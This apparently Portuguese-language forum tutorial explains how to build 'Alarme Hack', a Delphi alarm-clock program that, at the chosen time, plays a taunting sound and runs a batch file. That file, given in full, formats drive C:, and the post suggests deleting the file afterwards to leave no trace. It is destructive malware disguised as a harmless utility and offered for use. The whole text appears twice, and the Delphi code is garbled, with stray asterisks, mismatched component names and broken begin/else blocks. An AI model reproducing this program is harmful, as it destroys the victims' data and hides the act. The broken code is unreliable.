Portal
O que é o Alarme Hack?
Ele é um despertador que executa um arquivo .bat que formata o hd na hora programada sem deixar rastros ^^
Preview de como vai ficar parecido:
Vamos la,vou fazer do jeito que fiz o meu ^^
Por ser um projeto com um numero razoavel de componentes vamos organizar em group box
Coloque 3 Group Box
Renomei-os para:
Código:
Horário do Sistema
Alarme
Alarme Hack
No Group Box Horário do sistema coloque:
1Label,1 edit e 1 timer
Citação:
Renomei-e o label renomei-e para Horário Atual
No timer coloque:
Código:
Edit1.Text := TimeToStr(time)*
Explicação:No Edit1 mostra-ra o horário do sistema
No GroupBox Alarme coloque:
1edit,1 label,1 button,1 groupbox e 1 label dentro do group box
Renomei-e o Label externo para:
Citação:
Ativar Alarme as:
No Label dentro do GroupBox r Citação:
enomei-e para Desativado e mude a cor para vermelho
ou qualquer outras.
Renomei-e o button para Começar
E no event onclick coloque:
Código:
If Button1.Caption = 'Começar' then
Begin
Button3.Caption := 'Parar'*
Label4.Caption := 'Ativado'*
Label4.Font.Color := clGreen;
Timer2.Enabled := true;
else
begin
Button3.Caption := 'Começar'*
Label4.Caption := 'Desativado'*
Label4.Font.Color := clRed *
Timer2.Enabled := False;
end;
end;
end
Explicação:Quando o button for ativado irá mudar o label3(no caso o label com caption desativado) irá mudar para cor verde e ativado e quando clickado novamente muda paracomeçar e label desativado na cor vermelha.
No groupbox Alarme Hack coloque:
3CheckBox,1edit ambos na plaheta Standart e 1 timer na palheta system
Renomei-e os Check Box para:
Citação:
Tocar som e Formatar
Mandar Menssagem de Onwed
Formatar HD
No label
Mandar Menssagem de Onwed coloque:
Código:
If CheckBox2.checked = True then Edit3.Enabled := True;
If CheckBox2.checked = False then Edit3.Enabled := False;
PS:Isso não é nada de mais é apenas um adicional no programa coloca quem quiser ^^
Declare na uses:
Citação:
ShellApi
No timer coloque:
Citação:
begin
If Edit1.Text = Edit2.Text Then
Begin
If CheckBox1.Checked = True Then
Begin
MCISendString(PChar('play ' + 'owned.wav', nil, 0, 0)*
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
end;
end;
If CheckBox2.Checked = True Then ShowMessage(Edit3.Text)*
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
end;
If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
End;
end;
PS:A parte em vermelha é a parte a ser editada
Explicação:Se o Check Box 1 for ativado tocara o som owned.wav(download no fim do tópico) e executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Check box 2 for ativado ele mandará um showmessage com a messagem do edit3 e após executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Checkbox 3 for ativado executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
E como ja disse o local pode ser editado
Vou postar o Script de um bat que formata o HD:
Abra o bloco de notas e coloque:
Citação:
@echo off
format c: /s
cls
exit
Salve no caso Aboult.bat
Pode ser usado a opção de deletefile para não deixar rastros:
Citação:
DeleteFile('C:\Alarme Hack 2.0\Aboult.bat'*
Download
Creditos:Guia do Hardware /Aboult
Ele é um despertador que executa um arquivo .bat que formata o hd na hora programada sem deixar rastros ^^
Preview de como vai ficar parecido:
Vamos la,vou fazer do jeito que fiz o meu ^^
Por ser um projeto com um numero razoavel de componentes vamos organizar em group box
Coloque 3 Group Box
Renomei-os para:
Código:
Horário do Sistema
Alarme
Alarme Hack
No Group Box Horário do sistema coloque:
1Label,1 edit e 1 timer
Citação:
Renomei-e o label renomei-e para Horário Atual
No timer coloque:
Código:
Edit1.Text := TimeToStr(time)*
Explicação:No Edit1 mostra-ra o horário do sistema
No GroupBox Alarme coloque:
1edit,1 label,1 button,1 groupbox e 1 label dentro do group box
Renomei-e o Label externo para:
Citação:
Ativar Alarme as:
No Label dentro do GroupBox r Citação:
enomei-e para Desativado e mude a cor para vermelho
ou qualquer outras.
Renomei-e o button para Começar
E no event onclick coloque:
Código:
If Button1.Caption = 'Começar' then
Begin
Button3.Caption := 'Parar'*
Label4.Caption := 'Ativado'*
Label4.Font.Color := clGreen;
Timer2.Enabled := true;
else
begin
Button3.Caption := 'Começar'*
Label4.Caption := 'Desativado'*
Label4.Font.Color := clRed *
Timer2.Enabled := False;
end;
end;
end
Explicação:Quando o button for ativado irá mudar o label3(no caso o label com caption desativado) irá mudar para cor verde e ativado e quando clickado novamente muda paracomeçar e label desativado na cor vermelha.
No groupbox Alarme Hack coloque:
3CheckBox,1edit ambos na plaheta Standart e 1 timer na palheta system
Renomei-e os Check Box para:
Citação:
Tocar som e Formatar
Mandar Menssagem de Onwed
Formatar HD
No label
Mandar Menssagem de Onwed coloque:
Código:
If CheckBox2.checked = True then Edit3.Enabled := True;
If CheckBox2.checked = False then Edit3.Enabled := False;
PS:Isso não é nada de mais é apenas um adicional no programa coloca quem quiser ^^
Declare na uses:
Citação:
ShellApi
No timer coloque:
Citação:
begin
If Edit1.Text = Edit2.Text Then
Begin
If CheckBox1.Checked = True Then
Begin
MCISendString(PChar('play ' + 'owned.wav', nil, 0, 0)*
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
end;
end;
If CheckBox2.Checked = True Then ShowMessage(Edit3.Text)*
begin
ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
end;
If CheckBox3.Checked = True Then ShellExecute(Handle, 'open', 'C:\Alarme Hack 2.0\Aboult.bat',nil,nil, SW_SHOWNORMAL)*
End;
end;
PS:A parte em vermelha é a parte a ser editada
Explicação:Se o Check Box 1 for ativado tocara o som owned.wav(download no fim do tópico) e executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Check box 2 for ativado ele mandará um showmessage com a messagem do edit3 e após executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
Se o Checkbox 3 for ativado executará o arquivo aboult.bat encontrado na unidade c:\ e localizado na pasta Alarme Hack 2.0
E como ja disse o local pode ser editado
Vou postar o Script de um bat que formata o HD:
Abra o bloco de notas e coloque:
Citação:
@echo off
format c: /s
cls
exit
Salve no caso Aboult.bat
Pode ser usado a opção de deletefile para não deixar rastros:
Citação:
DeleteFile('C:\Alarme Hack 2.0\Aboult.bat'*
Download
Creditos:Guia do Hardware /Aboult
